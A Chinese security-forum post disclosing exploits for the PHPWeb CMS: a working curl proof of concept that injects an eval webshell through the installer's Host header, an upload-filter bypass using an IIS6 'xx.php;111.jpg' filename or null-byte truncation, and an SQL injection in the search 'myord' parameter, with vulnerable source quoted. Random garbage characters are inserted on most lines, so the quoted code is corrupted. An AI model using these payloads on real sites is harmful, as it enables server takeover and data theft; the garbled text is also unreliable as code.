找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:6 K0 D* i  i' [* z& g6 q% g
' f- J3 s3 r! D
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码' s( K  n: Z6 C- y  l/ o. W$ L
5 y9 n* q- d0 l9 h( {
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
! c: F* ]: S1 Q  `+ ~! o: c鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 |5 l5 L' h- t' f+ m, \3 ]
7 |% ]( i: E8 @, R) S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响' [; S4 Q0 m2 y" A, e" o# p$ w

' |( d0 ]: r% ~( T分析:
' f! z' d; Z( H9 a
% _2 H. w5 D. H  d2 ~
1 R' U9 z! l$ y) r$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤& M% a# T" y% J; P

8 t3 D+ t, j, R- O; L* H1 J* S                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 C6 O9 P: J$ K) t! j) U4 [1 t                                            $filestr=str_replace(" ","",$filestr);" M3 C; v! ~  w5 p: c- Q4 q2 a
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
' }5 ]! S" U9 a. D  G! n                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);# O5 U% q* w. Z3 D
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. [9 [( U/ x( F! z& G5 w& b                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
2 }, c5 h' H  _$ [& g  W! \                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);7 G1 b' ]  k+ h* d0 p
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);: W7 O3 c- T( O# h/ {* b5 u2 E7 ~7 j
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- R, q( ?$ S( K) b1 P/ i" i
. T0 S2 p( X3 Q; j, m# D. t2 O4 @
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);1 L6 d% V4 s. G: X4 l- X8 p
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' i% ^1 ~$ t9 s% ]+ c- s
- X. D* n8 i4 W" E- B, Apoc:& o: w0 x8 Z# o- T( e9 N& r
' O9 C/ g+ k& H1 k5 p9 t6 O
?9 K: Q7 ^  ?) v$ V, A0 b" T+ g
15 r* a# U! u, F' Y7 l/ C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"  ^  C0 O* f8 B) h# Y( [2 c
shell地址: /config.inc.php0 `) o" L, |" @7 F
跟之前的 phpcms一样 需要远程数据库" b% _4 V! f/ K* u5 s1 w5 e
# J: R. y9 C/ k) e- p1 i+ G* X( Q
——————————————————–( ~3 q' K5 [0 f# n% B5 W* Y
上传漏洞(需要进后台):5 I2 Z* P# R; {1 ~
漏洞文件: /kedit/upload_cgi/upload.php
5 |! e  \; ?1 t# E  P6 ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用1 |9 H3 A8 B6 Q, b$ G

1 z4 }, \9 E  e( ^/ r2 x
+ A4 m$ A# b& k# k<?php
( i5 U2 ?5 N$ K/ p7 W! I    define("ROOTPATH", "../../");# ~" ]6 |8 s9 J3 I  D. O& N
    include(ROOTPATH."includes/admin.inc.php");
$ u  r  N# z/ ~8 Z7 ?6 p; F* M    NeedAuth(0);, q! e0 Y8 K% p: D* @7 ~
+ c! A% z, l3 h2 J0 `
    $dt=date("Ymd",time());6 I8 h. S1 B# F& {) c, |: }$ D
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){8 D. l1 }1 M% _9 U  ]. h/ h
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 I3 ?, r2 y. Y6 ?$ P$ F    }
% b- P& q5 H- ]3 F1 [& F 5 J) d# N$ Y# J; a8 i, |# R$ _8 R0 a
    //文件保存目录路径% Z6 Z9 `* K3 W3 @, Z/ `" i, I
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
* B$ R& ?' z4 E* r& |& C    echo $save_path;
% E9 t& ~  I  f' V    //文件保存目录URL
0 a4 `2 N$ K, c6 C& o    $save_url = '../../'.$_POST['attachPath'].$dt.'/';" d% Q% x( f% v0 r8 u+ |1 ]" N. Y

7 D0 L/ L3 L2 C2 i; |    //定义允许上传的文件扩展名
% L+ c- |# Z) O  E& l    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀+ }0 |6 g$ t& |

+ H/ d* K' ]8 ~- p. W    //最大文件大小5 P6 z6 p) v6 b. H$ y' c
    $max_size = 1000000;
; Z* `9 c& @( A6 [% W# w " A! A! e% T/ G6 K' Q" N
    //更改目录权限- ]6 v+ @# U0 ^( b
    @mkdir($save_path, 0777);
- i6 h* N( a1 r6 m' [( `4 C" G4 \& m9 v
' |: [) H, K% D) T+ Q    //文件的全部路径
& F. \0 [; e, |    $file_path = $save_path.$_POST['fileName'];   //保存文件名8 |3 U  C0 ~. Z) T( m8 ~3 Y0 M7 K/ t
4 I/ R5 h3 S! W5 m6 a* A
    //文件URL
- w7 k/ u2 C& U9 @' _    $file_url = $save_url.$_POST['fileName'];0 P* L1 z) Y. k6 u  @  n
//有上传文件时/ z  C0 y  r2 k0 J
    if (empty($_FILES) === false) {% o( Q% N/ d8 B+ Q  ], A
3 {# }* f$ I7 i1 B: \$ Z/ B
            //原文件名: I+ t/ m0 j( ]8 Y5 M7 J
            $file_name = $_FILES['fileData']['name'];8 s/ C; t0 n5 E) N* y
            //服务器上临时文件名
& x" A% c/ q/ y# ?/ f            $tmp_name = $_FILES['fileData']['tmp_name'];- U" p% }/ f0 N
            //文件大小
/ ?* e1 f4 }9 ^- m            $file_size = $_FILES['fileData']['size'];& n: g9 |0 T* S4 Q  p2 J+ a
            //检查目录
9 H4 ^8 n2 U8 M  P: H. C            if (@is_dir($save_path) === false) {: P* k5 T1 ^' [" t$ Y
                    alert("上传目录不存在。");+ L& D% U  c' n. @3 B6 Q
            }
" S' k' D0 k* r, O, Q1 I* \            //检查目录写权限
5 L* \. P# S( f4 G3 {            if (@is_writable($save_path) === false) {
7 o- m6 X$ J/ W3 V5 r) d$ ?                    alert("上传目录没有写权限。");
( r# H$ Z$ Y) S            }, s: _  p8 B+ z. j- B. ^9 ?( X7 O
            //检查是否已上传0 F- Z  K+ k+ z# o' W" i5 h
            if (@is_uploaded_file($tmp_name) === false) {
2 @; @% k" R. _: G' p                    alert("临时文件可能不是上传文件。");+ k! l* S( w1 |) O' a& s
            }6 W5 Y% u  K* M" i+ G: y+ |
            //检查文件大小; d* Y6 u# X8 m9 I, S
            if ($file_size > $max_size) {8 E8 v' G! f% t
                    alert("上传文件大小超过限制。");- O/ I5 w' F; v8 I
            }
; w1 {; o3 N0 G0 J0 A! B            //获得文件扩展名
7 j* l% W1 G- P; ^            $temp_arr = explode(".", $_POST['fileName']);
8 _, x" Y2 c  \. {            $file_ext = array_pop($temp_arr);2 Y/ C0 J& g) F8 p0 F  D9 y5 v
            $file_ext = trim($file_ext);
6 ^4 b) T: f" ?% X  p( [            $file_ext = strtolower($file_ext);
# o' W8 O5 d/ W0 z# c. t % P3 }0 n* y1 Q3 y
            //检查扩展名   
& R3 @  k" y- ~) S0 y            if (in_array($file_ext, $ext_arr) === false) {     
$ H; Z5 F" w' H7 C6 U2 l- N! M1 l                    alert("上传文件扩展名是不允许的扩展名。");: }2 w5 {1 {: S4 a- W1 ~& V# {
            }
! F3 w7 Q. Y0 w& c; X- B  j& l
) Z# s7 \2 U3 L9 W            //移动文件   
2 C1 s- [: d5 e3 f) V- p            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
( \, |1 E/ o/ C2 x% m            if (move_uploaded_file($tmp_name, $file_path) === false) {
4 ^6 V1 O$ T9 \+ G2 w2 T3 D5 o                    alert("上传文件失败。");
# E- g8 J% [! }/ ~6 A1 [# X# @* c0 |- o7 c            }& ~# ]2 a& I1 }9 E: G
8 ~6 q" |  ?& [! s% {6 h; s0 a. |
            @chmod($file_path,0666);, D" Y. N& o( c
1 K/ G4 @4 `9 b, W+ A  {, H5 y
    ?>1 m3 J  w  X% b4 u  Q% x! ^
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
( g! B+ ~+ \7 V( `5 P0 j$ J
0 T; ?* |; ]- r+ e/ Z; F4 qapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
" `; d, _7 ?- M$ ~8 G/ }
2 [0 K, W3 ^4 I2 E: n——————————————————* k" S7 o7 Q, I( s2 Z6 U
注入漏洞:* U: k* V- o" z
漏洞文件:search/module/search.php% _" I; l. t! u5 a
/search/index.php?key=1&myord=1 [sqlinjection]
+ l+ u$ `4 p+ ?3 F& Q7 N
& E0 r, c, |$ ^) k, _ + ^, O% O  r* t6 V, M- a& z' [
<?php( o; J, a2 T- V# c, R/ s% l1 O1 O
   //       ... 省略 n 行...
/ Y9 K* t' N, k7 t  I- V   //第18行:! I$ k' j; U" W" p& Q
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响7 L& x$ b) d; z9 v, L8 i. |
           $page=htmlspecialchars($_GET["page"]);
/ G3 o. q  D& `9 y7 a           $myord=htmlspecialchars($_GET["myord"]);& t7 }$ C& t4 t
# R; y+ W* y5 l+ E
   //       ... 省略 n 行...
$ U3 S- U- v4 j8 ]3 c# U   $key,$myord 两个参数带入查询
/ ^+ K2 L; ^, T   //第47行 $key:/ a0 X. C- Z3 I
! U( \' Q# t/ A! Z0 A, u
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
. [8 J# W8 y5 g4 d0 j ' s6 n+ W) g8 h% O! i3 j* R
   //第197行 $myord
% w6 i6 Q5 v, B  C% c   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
' ], E  r$ f$ A7 s : o8 J* @6 S/ x) o
   ?>
; ^8 s4 s. J9 S/ K) M$ P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表